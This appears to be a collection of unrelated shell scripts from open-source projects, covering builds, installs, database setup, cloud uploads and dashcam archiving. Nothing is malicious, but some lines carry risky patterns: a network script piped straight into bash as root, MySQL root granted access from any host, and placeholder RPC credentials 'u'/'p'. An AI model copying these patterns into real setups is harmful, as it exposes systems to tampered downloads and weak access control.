dist/aydin/sklearn/cluster/.\ncp Info.plist dist/aydin_0.1.5rc12.app/Contents/.\ncp icon-windowed.icns dist/aydin_0.1.5rc12.app/Contents/Resources/.\ncp -rf -p dist/aydin/* dist/aydin_0.1.5rc12.app/Contents/MacOS/.\ncp aydin_0.1.5rc3 dist/aydin_0.1.5rc12.app/Contents/MacOS/."} {"text": "build/deploydb.sh\n#!/bin/bash\n\nset -e\n\nuser=\"$1\"\npassword=\"$2\"\nhost=\"$3\"\nport=\"$4\"\nMYSQL='mysql'\n\nif [[ `id -u` -ne 0 ]] && [[ x\"$user\" = x\"root\" ]]; then\n MYSQL='sudo mysql'\nfi\n\nbase=`dirname $0`\n\nif [[ ! -n $host ]] || [[ ! -n $port ]];then\n loginCmd=\"--user=$user --password=$password\"\nelse\n loginCmd=\"--user=$user --password=$password --host=$host --port=$port\"\nfi\n\n${MYSQL} ${loginCmd} << EOF\nset global log_bin_trust_function_creators=1;\nDROP DATABASE IF EXISTS zstack;\nCREATE DATABASE zstack;\nDROP DATABASE IF EXISTS zstack_rest;\nCREATE DATABASE zstack_rest;\ngrant all privileges on zstack.* to root@'%' identified by \"${password}\";\ngrant all privileges on zstack_rest.* to root@'%' identified by \"${password}\";\ngrant all privileges on zstack.* to root@'127.0.0.1' identified by \"${password}\";\ngrant all privileges on zstack_rest.* to root@'127.0.0.1' identified by \"${password}\";\nEOF\n\n# assign flyway version if not defined\n: \"${flywayver:=3.2.1}\"\nflyway=\"$base/../conf//tools/flyway-$flywayver/flyway\"\nflyway_sql=\"$base/../conf/tools/flyway-$flywayver/sql/\"\n\nmkdir -p ${flyway_sql}\n\neval \"rm -f ${flyway_sql}/*\"\ncp ${base}/../conf/db/V0.6__schema.sql ${flyway_sql}\ncp ${base}/../conf/db/upgrade/* ${flyway_sql}\n\nif [[ ! -n $host ]] || [[ ! -n $port ]];then\n url=\"jdbc:mysql://localhost:3306/zstack\"\nelse\n url=\"jdbc:mysql://$host:$port/zstack\"\nfi\n${flyway} -user=${user} -password=${password} -url=${url} clean\n\n# create baseline and clean its contents for 'beforeValidate.sql'\n${flyway} -user=${user} -password=${password} -url=${url} baseline\n${MYSQL} ${loginCmd} zstack -e \"DELETE FROM schema_version\"\n\n${flyway} -outOfOrder=true -user=${user} -password=${password} -url=${url} migrate\n\neval \"rm -f ${flyway_sql}/*\"\n\ncp ${base}/../conf/db/V0.6__schema_buildin_httpserver.sql ${flyway_sql}\n\nif [[ ! -n $host ]] || [[ ! -n $port ]];then\n url=\"jdbc:mysql://localhost:3306/zstack_rest\"\nelse\n url=\"jdbc:mysql://$host:$port/zstack_rest\"\nfi\n${flyway} -user=${user} -password=${password} -url=${url} clean\n${flyway} -outOfOrder=true -user=${user} -password=${password} -url=${url} migrate\n\neval \"rm -f ${flyway_sql}/*\""} {"text": "pr0d1r2/ruby_dev_shell_aliasesCOMPOSE_PARALLEL_LIMIT.sh\nCOMPOSE_PARALLEL_LIMIT=\"$(nproc)\"\nexport COMPOSE_PARALLEL_LIMIT"} {"text": "#!/usr/bin/env zsh\n\nif [[ \"$#\" -lt 2 ]]; then\n echo \"usage: $(basename \"${0}\") from-file to-file [inkscape-option ...]\"\n exit 1\nfi\n\nfrom=\"$1\"\nshift\nto=\"$1\"\nshift\ninkscape_options=\"$*\"\n\nmkdir -p \"$(dirname ${to})\"\n\nif grep --silent ' \"${to}\"\nelse\n xmllint --format \"${from}\" --output \"${to}\"\nfi"} {"text": "#! /bin/bash\n\n# Installing node 12\ncurl -sL https://deb.nodesource.com/setup_12.x | bash -\napt install -y nodejs\n\n\n# Install Terraform 0.13.6\nwget https://releases.hashicorp.com/terraform/0.13.6/terraform_0.13.6_linux_amd64.zip -O /usr/local/bin/terraform.zip \nunzip /usr/local/bin/terraform.zip -d /usr/local/bin/ \nrm /usr/local/bin/terraform.zip"} {"text": "WebDaD/Resilienz0\n#!/bin/sh\ngit pull\nnpm install"} {"text": "1-10\ncp -rvf ../../bin/* node_modules/react-awtk/bin/"} {"text": "#!/bin/bash\nif [ -x /usr/lib/mecab/mecab-dict-index ]; then\n dictindex=\"/usr/lib/mecab/mecab-dict-index\"\nelif [ -x /usr/local/Cellar/mecab/0.996/libexec/mecab/mecab-dict-index ]; then\n dictindex=\"/usr/local/Cellar/mecab/0.996/libexec/mecab/mecab-dict-index\"\nelse\n echo \"mecab is not installed\"\n exit 1\nfi\nupdate_neologd=0\nif [ $# -gt 0 ]; then\n if [ \"$1\" = \"update\" ]; then\n update_neologd=1\n else\n echo \"What?\"\n exit 1\n fi\nfi\nif [ ! -d mecab_ipadic ]; then\n wget -O mecab-ipadic.tar.gz https://sourceforge.net/projects/mecab/files/mecab-ipadic/2.7.0-20070801/mecab-ipadic-2.7.0-20070801.tar.gz/download\n tar zxf mecab-ipadic.tar.gz\n rm -f mecab-ipadic.tar.gz\n mv mecab-ipadic-2.7.0-20070801 mecab_ipadic\n nkf -Ew --overwrite mecab_ipadic/*\n sed -i -e \"s/$/,ipadic/g\" mecab_ipadic/*.csv\n cd mecab_ipadic\n wget -O mecab-ipadic.model.bz2 \"https://drive.google.com/uc?export=download&id=0B4y35FiV1wh7bnc5aFZSTE9qNnM\"\n bzip2 -d mecab-ipadic.model.bz2\n nkf -Ew --overwrite mecab-ipadic.model\n sed -i -e \"s/euc-jp/utf-8/\" mecab-ipadic.model\n rm -f mecab-ipadic-euc.model\n cd ..\n update_neologd=1\nfi\nif [ $update_neologd -eq 1 ]; then\n git clone --depth 1 https://github.com/neologd/mecab-ipadic-neologd.git\n xz -dk mecab-ipadic-neologd/seed/*.csv.xz\n sed -i -e \"s/$/,ipadic-neologd/g\" mecab-ipadic-neologd/seed/*.csv\n mv mecab-ipadic-neologd/seed/*.csv mecab_ipadic/.\n rm -rf mecab-ipadic-neologd\n cd mecab_ipadic\n ${dictindex} -f utf8 -t utf8\n cd ..\nfi\n${dictindex} -m mecab_ipadic/mecab-ipadic.model -d mecab_ipadic -u mecab_ipadic/User.csv -f utf8 -t utf8 -a userdic.csv\ncd mecab_ipadic\n${dictindex} -f utf8 -t utf8"} {"text": "#!/bin/bash\n\nrclone copy data \"mydrive:covid_data\" --transfers=10 -P\n\n# Push package to google cloud storage\ngsutil -h \"Cache-Control: no-cache\" cp data/data_package.json.gz gs://ve-public/data_package.json.gz\ngsutil -h \"Cache-Control: no-cache\" cp data/map_combined_standalone.vg.json gs://ve-public/map_combined_standalone.vg.json\n\n# Push genbank data\nrclone copy data_genbank \"mydrive:covid_data/genbank\" --transfers 10 -P\n\n# Push genbank packages\ngsutil -h \"Cache-Control: no-cache\" cp data_genbank/data_package.json.gz gs://ve-public/genbank/data_package.json.gz\ngsutil -h \"Cache-Control: no-cache\" cp data_genbank/map_combined_standalone.vg.json gs://ve-public/genbank/map_combined_standalone.vg.json"} {"text": "#!/bin/bash\ntar cf brain.tar ../brain -C ..\ntar -tf brain.tar\ndocker build -f Dockerfile -t brain ."} {"text": "cord/psql.sh100-1000\n#!/bin/bash\nfunction finish {\n sync_unlock.sh\n}\nif [ -z \"$TRAP\" ]\nthen\n sync_lock.sh || exit -1\n trap finish EXIT\n export TRAP=1\nfi\nset -o pipefail\n> errors.txt\n> run.log\nGHA2DB_PROJECT=cord PG_DB=cord GHA2DB_LOCAL=1 structure 2>>errors.txt | tee -a run.log || exit 1\n./devel/db.sh psql cord -c \"create extension if not exists pgcrypto\" || exit 1\n./devel/ro_user_grants.sh cord || exit 2\n# GHA2DB_PROJECT=cord PG_DB=cord GHA2DB_LOCAL=1 gha2db 2018-12-01 0 today now opencord 2>>errors.txt | tee -a run.log || exit 3\nGHA2DB_PROJECT=cord PG_DB=cord GHA2DB_LOCAL=1 gha2db 2016-06-01 0 today now opencord 2>>errors.txt | tee -a run.log || exit 3\nGHA2DB_PROJECT=cord PG_DB=cord GHA2DB_LOCAL=1 GHA2DB_MGETC=y GHA2DB_SKIPTABLE=1 GHA2DB_INDEX=1 structure 2>>errors.txt | tee -a run.log || exit 5\nGHA2DB_PROJECT=cord PG_DB=cord ./shared/setup_repo_groups.sh 2>>errors.txt | tee -a run.log || exit 6\nGHA2DB_PROJECT=cord PG_DB=cord ./shared/setup_scripts.sh 2>>errors.txt | tee -a run.log || exit 7\nGHA2DB_PROJECT=cord PG_DB=cord ./shared/get_repos.sh 2>>errors.txt | tee -a run.log || exit 8\nGHA2DB_PROJECT=cord PG_DB=cord ./shared/import_affs.sh 2>>errors.txt | tee -a run.log || exit 9\nGHA2DB_PROJECT=cord PG_DB=cord GHA2DB_LOCAL=1 vars || exit 10"} {"text": "HappyFacade/kafka-tutorials\nmkdir finding-distinct && cd finding-distinct"} {"text": "1-10\n#! /bin/bash\n\npressurelevel=\"$1\"\nduration=\"$2\"\n# try and install iproute2, suppress output...\napt install stress-ng 2> /dev/null > /dev/null\n\necho \"Stressing all CPUs at $pressurelevel% capacity for $duration\"s...\nstress-ng -c 0 -l ${pressurelevel} -t ${duration}"} {"text": "0\n#!/bin/bash\n\nif [ ! $1 ] || [ ! $2 ]; then\n echo \"Please enter a domain, the cert file name and optionally an email\";\n exit;\nfi\n\n# User parameters.\ncn=$1;\ncert=$2;\nemail=$3;\n\n# CSR config.\ncountry='FR';\nstate='Auvergne';\nlocality='Clermont-Ferrand';\norganization='Periscope';\norganizationalunit='Dev';\nemailAddress='';\n\n# If email is given then use it.\nif [ $email ]; then\n emailAddress=$email;\nfi\n\necho \"Generating certificate ${cert}.crt for ${cn}\";\nopenssl req -x509 \\\n -nodes \\\n -days 365 \\\n -newkey rsa:2048 \\\n -keyout /etc/apache2/ssl/${cert}.key \\\n -out /etc/apache2/ssl/${cert}.crt \\\n -subj \"/C=${country}/ST=${state}/L=${locality}/O=${organization}/OU=${organizationalunit}/CN=${cn}/emailAddress=${emailAddress}\"\n\necho \"Certificate ${cert}.crt has been generated.\""} {"text": "Absurdev/LinkingWords0\n# clean up redis db after server reboot\nredis-cli KEYS user:* | xargs redis-cli DEL\nredis-cli KEYS word:* | xargs redis-cli DEL\nredis-cli KEYS bottle:* | xargs redis-cli DEL\nredis-cli KEYS bottles:pending_list | xargs redis-cli DEL\nredis-cli DEL user_to_socket\nredis-cli DEL user_gc\nredis-cli DEL connections\nredis-cli DEL user_hash_lookup\n\nredis-cli DEL stats:word:pending_words_count\nredis-cli DEL stats:word:today_submitted_count\nredis-cli DEL stats:word:today_match_count\nredis-cli DEL stats:bottle:today_opened_count\nredis-cli DEL stats:bottle:today_cast_count\nredis-cli DEL stats:word:today_submitted_count_by_word\nredis-cli DEL stats:word:today_match_count_by_word"} {"text": "testscripts/gst.new.sh\n#!/bin/sh\ndate\n./conf/deviceid.sh conf/gst_single.conf\necho 'gst';sudo ./rvs -c conf/gst_single.conf -d 3; date"} {"text": "#!/bin/bash -eu\n\nlog \"Moving clips to rclone archive...\"\n\nsource /root/.teslaCamRcloneConfig\n\nFILE_COUNT=$(cd \"$CAM_MOUNT\" && find . -maxdepth 4 -path './TeslaCam/SavedClips/*' -type f -o -path './TeslaCam/SentryClips/*' -type f -o -path './TeslaTrackMode' -type f | wc -l)\n\nif [ -d \"$CAM_MOUNT\"/TeslaCam/SavedClips ]\nthen\n # shellcheck disable=SC2154\n rclone --config /root/.config/rclone/rclone.conf move \"$CAM_MOUNT\"/TeslaCam/SavedClips \"$drive:$path\"/SavedClips/ --create-empty-src-dirs --delete-empty-src-dirs >> \"$LOG_FILE\" 2>&1 || echo \"\"\nfi\n\nif [ -d \"$CAM_MOUNT\"/TeslaCam/SentryClips ]\nthen\n rclone --config /root/.config/rclone/rclone.conf move \"$CAM_MOUNT\"/TeslaCam/SentryClips \"$drive:$path\"/SentryClips/ --create-empty-src-dirs --delete-empty-src-dirs >> \"$LOG_FILE\" 2>&1 || echo \"\"\nfi\n\n(\nlog \"Starting copy of RecentClips\"\nfor dir in /backingfiles/snapshots/*/mnt/TeslaCam/RecentClips/; do\n datePath=\"$(ls -1 $dir | perl -pe 's/^([0-9]{4}-[0-9]{2}-[0-9]{2})_.*/$1/g' | sort | uniq)\"\n for date in $datePath; do\n rclone --config /root/.config/rclone/rclone.conf --include \"${date}*\" copy \"$dir/\" \"$drive:$path\"/RecentClips/$date/ >> \"$LOG_FILE\" 2>&1 || echo \"\"\n done\ndone\nlog \"Finished copy of RecentClips\"\n) &\n\nif [ -d \"$CAM_MOUNT\"/TeslaTrackMode ]\nthen\n rclone --config /root/.config/rclone/rclone.conf move \"$CAM_MOUNT\"/TeslaTrackMode \"$drive:$path\"/TeslaTrackMode/ --create-empty-src-dirs --delete-empty-src-dirs >> \"$LOG_FILE\" 2>&1 || echo \"\"\nfi\n\nFILES_REMAINING=$(cd \"$CAM_MOUNT\" && find . -maxdepth 4 -path './TeslaCam/SavedClips/*' -type f -o -path './TeslaCam/SentryClips/*' -type f -o -path './TeslaTrackMode' -type f | wc -l)\nNUM_FILES_MOVED=$((FILE_COUNT-FILES_REMAINING))\n\nlog \"Moved $NUM_FILES_MOVED file(s).\"\n/root/bin/send-push-message \"TeslaUSB:\" \"Moved $NUM_FILES_MOVED dashcam file(s).\"\n\nlog \"Finished moving clips to rclone archive\""} {"text": "jCalderTravis/mat-comp-model-toolsmT_runOneJob_template.sh\n#!/bin/bash\n\n#SBATCH --nodes=1\n#SBATCH --time=50:00:00\n#SBATCH --job-name=fit-ml\n#SBATCH --mail-type=NONE\n\n\n# INPUT\n# $1 directory. All relevant MATLAB scripts should be in the folder \n# directory/scripts or a subfolder of this directory\n# $2 file name of the job to run\n# $3 Are we starting a new fit or resuming and old one (\"0\" or \"1\")\n\numask 077 \n\njobDirectory=\"$1\"\nfilename=\"$2\"\nresuming=\"$3\"\n\n# Set a unique folder for this job's matlab parpool data\njobTempDir=\"$jobDirectory\"/$SLURM_JOB_ID\nmkdir \"$jobTempDir\"\n\n# Need to provide matlab input as a string\nin1=\"'$jobDirectory'\"\nin2=\"'$filename'\"\nin3=\"'$resuming'\"\n\nmodule load matlab/2018b\n\nmatlab -nodisplay -nosplash -r \"mT_runOnCluster($in1, $in2, $SBATCH_TIMELIMIT, $in3)\""} {"text": "pyinstaller --onedir --windowed --name=client -y __main__.py"} {"text": "#!/usr/bin/env bash\n\nPYTHON=${PYTHON:-\"python\"}\n\nGPUS=$1\nCONFIG=$2\nDATAPATH=$3\n\n$PYTHON -m torch.distributed.launch --nproc_per_node=$GPUS \\\n $(dirname \"$0\")/train.py $CONFIG --datapath $DATAPATH --launcher pytorch ${@:4}"} {"text": "asr-ros/asr_cyberglove_lib\n#!/bin/bash\nexport ROS_MASTER_URI=\"http://$HOSTNAME:11311\"\nexport ROSLAUNCH_SSH_UNKNOWN=1\nroslaunch asr_cyberglove_lib glove_lib_remote.launch"} {"text": "provision/marvin_env.sh\n#!/usr/bin/env bash\n\n# Copyright [2017] [B2W Digital]\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\necho '----------------------------------------------'\necho ' MARVIN ENVIRONMENT VARIABLES'\necho '----------------------------------------------'\n\necho \"export MARVIN_DATA_PATH=/vagrant/projects/data\" >> /home/vagrant/.profile\necho \"export MARVIN_HOME=/vagrant/projects\" >> /home/vagrant/.profile\n\nsudo -u vagrant bash -c \"source /home/vagrant/.profile\""} {"text": "#!/bin/bash\n\nset -e\n\ndate\nps axjf\n\n#################################################################\n# Update Ubuntu and install prerequisites for running Impleum #\n#################################################################\nsudo apt-get update\n#################################################################\n# Build Impleum from source #\n#################################################################\nNPROC=$(nproc)\necho \"nproc: $NPROC\"\n#################################################################\n# Install all necessary packages for building Impleum #\n#################################################################\nsudo apt-get install -y qt4-qmake libqt4-dev libminiupnpc-dev libdb++-dev libdb-dev libcrypto++-dev libqrencode-dev libboost-all-dev build-essential libboost-system-dev libboost-filesystem-dev libboost-program-options-dev libboost-thread-dev libboost-filesystem-dev libboost-program-options-dev libboost-thread-dev libssl-dev libdb++-dev libssl-dev ufw git\nsudo add-apt-repository -y ppa:bitcoin/bitcoin\nsudo apt-get update\nsudo apt-get install -y libdb4.8-dev libdb4.8++-dev\n\ncd /usr/local\nfile=/usr/local/impleumQT\nif [ ! -e \"$file\" ]\nthen\n sudo git clone https://github.com/impleum/ImpleumQt.git\nfi\n\ncd /usr/local/ImpleumQt/src\nfile=/usr/local/ImpleumQt/src/impleumd\nif [ ! -e \"$file\" ]\nthen\n sudo make -j$NPROC -f makefile.unix\nfi\n\nsudo cp /usr/local/ImpleumQt/src/impleumd /usr/bin/impleumd\n\n################################################################\n# Configure to auto start at boot #\n################################################################\nfile=$HOME/.impleum\nif [ ! -e \"$file\" ]\nthen\n sudo mkdir $HOME/.impleum\nfi\nprintf '%s\\n%s\\n%s\\n%s\\n' 'daemon=1' 'server=1' 'rpcuser=u' 'rpcpassword=p' | sudo tee $HOME/.impleum/impleum.conf\nfile=/etc/init.d/impleum\nif [ ! -e \"$file\" ]\nthen\n printf '%s\\n%s\\n' '#!/bin/sh' 'sudo impleumd' | sudo tee /etc/init.d/impleum\n sudo chmod +x /etc/init.d/impleum\n sudo update-rc.d impleum defaults\nfi\n\n/usr/bin/impleumd\necho \"Impleum has been setup successfully and is running...\"\nexit 0"} {"text": "#!/usr/bin/env bash\n\n# cpan\nbrew install perl dbus\nexport PERL_MM_USE_DEFAULT=1\ncpan CPAN\ncpan URI URI::Escape\nbrew services start dbus\n# common\nmkdir -pv \"$HOME/Applications/KDE\"\nrm -rfv \"$HOME/Applications/KDE*\"\nmkdir -pv \"$HOME/Library/Application Support/doc\"\nrm -rfv \"$HOME/Library/Application Support/doc/*\"\nln -sfv \"$(brew --prefix)/share/doc/HTML\" \"$HOME/Library/Application Support/doc\"\nln -sfv \"$(brew --prefix)/share/doc/qch\" \"$HOME/Library/Application Support/doc\"\nln -sfv \"$(brew --prefix)/share/kf5\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/share/kservices5\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/share/metainfo\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/share/kservicetypes5\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/share/config.kcfg\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/share/knotifycations5\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/share/kxmlgui5\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/share/kpackage\" \"$HOME/Library/Application Support\"\n# kf5-breeze-icons\nln -sfv \"$(brew --prefix)/share/icons\" \"$HOME/Library/Application Support\"\n# kf5-kemoticons\nln -sfv \"$(brew --prefix)/share/emoticons\" \"$HOME/Library/Application Support\"\n# kf5-kparts\nln -sfv \"$(brew --prefix)/share/kdevappwizard\" \"$HOME/Library/Application Support\"\n# kf5-kdelibs4support\nln -sfv \"$(brew --prefix)/opt/kf5-kdelibs4support/bin/kdebugdialog5.app\" \"$HOME/Applications/KDE\"\n# kf5-plasma-frameworks\nln -sfv \"$(brew --prefix)/share/plasma\" \"$HOME/Library/Application Support\"\n# dolphin\nln -sfv \"$(brew --prefix)/share/dolphin\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/opt/dolphin/bin/dolphin.app\" \"$HOME/Applications/KDE\"\n# kate\nln -sfv \"$(brew --prefix)/share/kate\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/share/kwrite\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/share/kateproject\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/share/katexmltools\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/opt/kate/bin/kate.app\" \"$HOME/Applications/KDE\"\nln -sfv \"$(brew --prefix)/opt/kate/bin/kwrite.app\" \"$HOME/Applications/KDE\"\n# kio-extras\nln -sfv \"$(brew --prefix)/share/kio_bookmarks\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/share/kio_info\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/share/konqsidebartng\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/share/konqueror\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/share/remoteview\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/share/solid\" \"$HOME/Library/Application Support\"\n# kmymoney\nln -sfv \"$(brew --prefix)/share/kmymoney\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/share/kmm_weboob\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/share/kmm_printcheck\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/opt/kmymoney/bin/kmymoney.app\" \"$HOME/Applications/KDE\"\n# kolourpaint\nln -sfv \"$(brew --prefix)/share/kolourpaint\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/opt/kolourpaint/bin/kolourpaint.app\" \"$HOME/Applications/KDE\"\n# konsole\nln -sfv \"$(brew --prefix)/share/konsole\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/opt/konsole/bin/konsole.app\" \"$HOME/Applications/KDE\"\n# konversation\nln -sfv \"$(brew --prefix)/share/konversation\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/opt/konversation/bin/konversation.app\" \"$HOME/Applications/KDE\"\n# lokalize\nln -sfv \"$(brew --prefix)/opt/lokalize/bin/lokalize.app\" \"$HOME/Applications/KDE\"\n# okteta\nln -sfv \"$(brew --prefix)/share/okteta\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/opt/okteta/bin/okteta.app\" \"$HOME/Applications/KDE\"\n# kdevelop\nln -sfv \"$(brew --prefix)/share/kdevappwizard\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/share/kdevclangsupport\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/share/kdevcodeutils\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/share/kdevelop\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/share/kdevfiletemplates\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/share/kdevgdb\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/share/kdevmanpage\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/share/kdevqmakebuilder\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/share/kdevqmljssupport\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/opt/kdevelop/bin/kdevelop.app\" \"$HOME/Applications/KDE\"\n# okular\nln -sfv \"$(brew --prefix)/share/okular\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/opt/okular/bin/okular.app\" \"$HOME/Applications/KDE\"\n# labplot\nln -sfv \"$(brew --prefix)/share/labplot2\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/opt/labplot/bin/labplot2.app\" \"/Applications/KDE\"\n# kdenlive\nln -sfv \"$(brew --prefix)/share/kdenlive\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/opt/kdenlive/bin/kdenlive.app\" \"$HOME/Applications/KDE\"\n# krename\nln -sfv \"$(brew --prefix)/share/krename\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/opt/krename/bin/krename.app\" \"$HOME/Applications/KDE\"\n# ktorrent\nln -sfv \"$(brew --prefix)/share/ktorrent\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/opt/ktorrent/bin/ktorrent.app\" \"$HOME/Applications/KDE\"\nln -sfv \"$(brew --prefix)/opt/ktorrent/bin/ktupnptest.app\" \"$HOME/Applications/KDE\"\n# krusader\nln -sfv \"$(brew --prefix)/share/krusader\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/opt/krusader/bin/krusader.app\" \"$HOME/Applications/KDE\"\n# elisa\nln -sfv \"$(brew --prefix)/opt/elisa/bin/elisa.app\" \"$HOME/Applications/KDE\"\n# kcalc\nln -sfv \"$(brew --prefix)/share/kcalc\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/opt/kcalc/bin/kcalc.app\" \"$HOME/Applications/KDE\"\n# libksysguard\nln -sfv \"$(brew --prefix)/share/ksysguard\" \"$HOME/Library/Application Support\"\n# ksysguard\nln -sfv \"$(brew --prefix)/opt/ksysguard/bin/ksysguard.app\" \"$HOME/Applications/KDE\"\n# umbrello\nln -sfv \"$(brew --prefix)/share/umbrello5\" \"$HOME/Library/Application Support\"\nln -sfv \"$(brew --prefix)/opt/umbrello/bin/umbrello5.app\" \"$HOME/Applications/KDE\"\n# atcore\nln -sfv \"$(brew --prefix)/opt/atcore/bin/AtCoreTest.app\" \"$HOME/Applications/KDE\"\n\nexit 0"} {"text": "1000+\n#!/bin/bash\n#\n# Copyright (c) 2020 The Orbit Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\n# Fail on any error.\nset -e\n\nfunction install_oauth2l {\n if [ \"$(uname -s)\" == \"Linux\" ]; then\n local os=\"linux\"\n else\n local os=\"windows\"\n fi\n\n curl -o oauth2l.tgz https://storage.googleapis.com/oauth2l/latest/${os}_amd64.tgz\n tar -zxvf oauth2l.tgz --strip-components 1\n chmod +x oauth2l\n rm -f oauth2l.tgz\n}\n\nfunction retrieve_oauth_token_header {\n ./oauth2l header cloud-platform userinfo.email\n}\n\nfunction get_api_key {\n local header=$1\n local gcurl=\"curl -H \\\"${header}\\\" -H \\\"Content-Type: application/json\\\"\"\n local keys=$(eval $gcurl https://apikeys.googleapis.com/v2alpha1/projects/60941241589/keys)\n if [ -z \"$keys\" ] || [ $(echo \"$keys\" | jq 'has(\"keys\")') == \"false\" ]; then\n echo \"Can't get list of API keys\"\n echo $keys\n exit 1\n fi\n\n local crash_symbol_key_full_name=$(jq -n \"$keys\" | jq '.keys[] | select(.displayName == \"Crash Symbol Collector API key\") | .name' | tr -d '\"')\n if [ -z \"$crash_symbol_key_full_name\" ]; then\n echo \"'Crash Symbol Collector API key' not found\"\n exit 1\n fi\n\n eval $gcurl https://apikeys.googleapis.com/v2alpha1/$crash_symbol_key_full_name/keyString | jq '.keyString' | tr -d '\"'\n}\n\nfunction remove_oauth2l {\n rm -f oauth2l\n}\n\nfunction install_breakpad_tools {\n if [ ! -d breakpad ]; then\n conan install -g deploy breakpad/2ffe116@orbitdeps/stable\n fi\n}\n\nfunction upload_symbol_file {\n local api_key=$1\n local symbol_file_path=$2\n\n if [ \"$(uname -s)\" == \"Linux\" ]; then\n local symbol_name=\"$(basename $symbol_file_path)\"\n local sym_file_path=breakpad/symbols/$symbol_name.sym\n breakpad/bin/dump_syms $symbol_file_path > $sym_file_path\n breakpad/bin/symupload -p sym-upload-v2 -k $api_key $sym_file_path \\\n https://prod-crashsymbolcollector-pa.googleapis.com\n else\n PATH=\"/c/BuildTools/DIA SDK/bin/amd64:$PATH\" breakpad/bin/symupload -p $symbol_file_path \\\n https://prod-crashsymbolcollector-pa.googleapis.com $api_key\n fi\n}\n\nfunction upload_debug_symbols {\n local api_key=$1\n local bin_folder=$2\n local lib_folder=$3\n \n install_breakpad_tools\n if [ ! -d breakpad/symbols ]; then\n mkdir breakpad/symbols\n fi\n\n if [ \"$(uname -s)\" == \"Linux\" ]; then\n upload_symbol_file $api_key $bin_folder/OrbitService\n upload_symbol_file $api_key $lib_folder/libOrbitVulkanLayer.so\n else\n upload_symbol_file $api_key $bin_folder/Orbit.exe \n upload_symbol_file $api_key $bin_folder/Qt5Core.dll \n upload_symbol_file $api_key $bin_folder/Qt5Gui.dll \n upload_symbol_file $api_key $bin_folder/Qt5Network.dll \n upload_symbol_file $api_key $bin_folder/Qt5Widgets.dll \n upload_symbol_file $api_key $bin_folder/bearer/qgenericbearer.dll \n upload_symbol_file $api_key $bin_folder/imageformats/qgif.dll \n upload_symbol_file $api_key $bin_folder/imageformats/qico.dll \n upload_symbol_file $api_key $bin_folder/imageformats/qjpeg.dll \n upload_symbol_file $api_key $bin_folder/platforms/qwindows.dll \n upload_symbol_file $api_key $bin_folder/styles/qwindowsvistastyle.dll\n fi\n}"} {"text": "0\n#!/bin/bash\n\nfunction extractFolders() {\n folders=()\n\n while [ -n \"$1\" ]\n do\n case \"$1\" in\n -f) shift; folders+=(\"$1\") ;;\n esac\n shift\n done\n\n echo ${folders[*]}\n}\n\nfunction extractTestArgs() {\n freeArgs=()\n\n while [ -n \"$1\" ]\n do\n case \"$1\" in\n -a) shift; freeArgs+=(\"$1\") ;;\n esac\n shift\n done\n\n echo ${freeArgs[*]}\n}\n\nfunction extractJVMArgs() {\n jvmArgs=()\n\n while [ -n \"$1\" ]\n do\n case \"$1\" in\n --jvm-args) shift; jvmArgs+=(\"$1\") ;;\n esac\n shift\n done\n\n echo ${jvmArgs[*]}\n}\n\nfunction extractCalculationTimes() {\n\n while [ -n \"$1\" ]\n do\n case \"$1\" in\n -n) shift; CALCULATION_TIMES=$1 ;;\n esac\n shift\n done\n\n setIfNull CALCULATION_TIMES 10\n\n echo $CALCULATION_TIMES\n}"} {"text": "1-10\n#!/bin/bash\n#\n# Copyright (c) 2020 Wind River Systems, Inc.\n#\n# SPDX-License-Identifier: Apache-2.0\n#\n\n# This builds 3 patches:\n# 